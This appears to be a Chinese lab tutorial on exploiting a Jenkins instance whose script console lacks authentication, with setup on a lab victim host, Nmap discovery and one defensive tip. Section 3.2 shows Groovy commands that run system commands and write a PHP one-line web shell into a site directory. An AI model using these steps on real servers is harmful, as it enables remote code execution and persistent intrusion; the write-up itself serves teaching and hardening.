一、漏洞介绍

1 ) Jenkins介绍

Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:

  1. 用于持续性、自动的构建/测试软件
  2. 项目监控或跑一些定时任务
  3. 监控外部调用执行的工作

2 ) 漏洞原因

Jenkins系统后台中可以执行系统脚本命令,(本作用是故障排除和诊断使用)

3 ) 利用条件

  1. 使用低版本的Jenkins,默认没有登录控制
  2. 有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
  3. 控制台使用了弱密码

二、环境配置

2.1 配置主机

受害者IP:192.168.253.128

系统内核版本:

Jenkins pipeline的优点 jenkins优缺点_jenkins

2.2 下载安装

下载一: 镜像站下载(优点:下载快;缺点:不支持所有版本)

下载二: 官方下载(优点:版本全;缺点:下载慢)
官方下载系统内核对应的安装包(这里是rpm包安装方式)

》》安装

Jenkins pipeline的优点 jenkins优缺点_Jenkins_03


》》启动服务

Jenkins pipeline的优点 jenkins优缺点_jenkins_04


》》防火墙配置(略,关闭防火墙/开通8080端口皆可)

》》浏览器访问8080端口进行 安装配置

Jenkins pipeline的优点 jenkins优缺点_Jenkins_05


》》解锁

Jenkins pipeline的优点 jenkins优缺点_Jenkins_06


》》安装插件

》》创建管理员账户

Jenkins pipeline的优点 jenkins优缺点_php_07


》》成功登陆,退出后发现之前admin的密码没有

Jenkins pipeline的优点 jenkins优缺点_运维_08

忘记jenkins账户密码怎么办?(如使用rpm包安装使用此种方法!)
》》编辑jenkins全局配置文件(/var/lib/jenkins/config.xml)

Jenkins pipeline的优点 jenkins优缺点_运维_09


》》取消掉使用密码


Jenkins pipeline的优点 jenkins优缺点_运维_10


》》重置jenkins服务


systemctl restart jenkins / /etc/init.d/jenkins restart


》》然后再次访问web站点


Jenkins pipeline的优点 jenkins优缺点_运维_11


》》启用安全性,选择jenkisn自己的数据库,点击保存


Jenkins pipeline的优点 jenkins优缺点_Jenkins pipeline的优点_12


》》点击设置,配置管理员密码


Jenkins pipeline的优点 jenkins优缺点_Jenkins pipeline的优点_13

三、漏洞利用

3.1 信息收集

Nmap扫描对方web服务:(不限于8080默认端口)

Jenkins pipeline的优点 jenkins优缺点_Jenkins_14


访问8080端口,如果没有登录限制如下这种情况:

Tips:以下这种情况有两种方式

  1. 低版本的jenkisns默认安装启动服务
  2. 配置中将登录密码验证关掉了(false)

Jenkins pipeline的优点 jenkins优缺点_运维_15

3.2 漏洞利用

》》点击系统管理

Jenkins pipeline的优点 jenkins优缺点_jenkins_16


》》点击脚本控制台

Jenkins pipeline的优点 jenkins优缺点_运维_17


》》执行并打印系统命令

println "hostname".execute().text
1
  • 1
  • 2

Jenkins pipeline的优点 jenkins优缺点_运维_18


如果知道web站点目录可写入一句话shell:(这里使用php站点举例)

new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');
1

四、防御建议

  1. 配置Jenkins登录验证(只要不能进入控制台即可)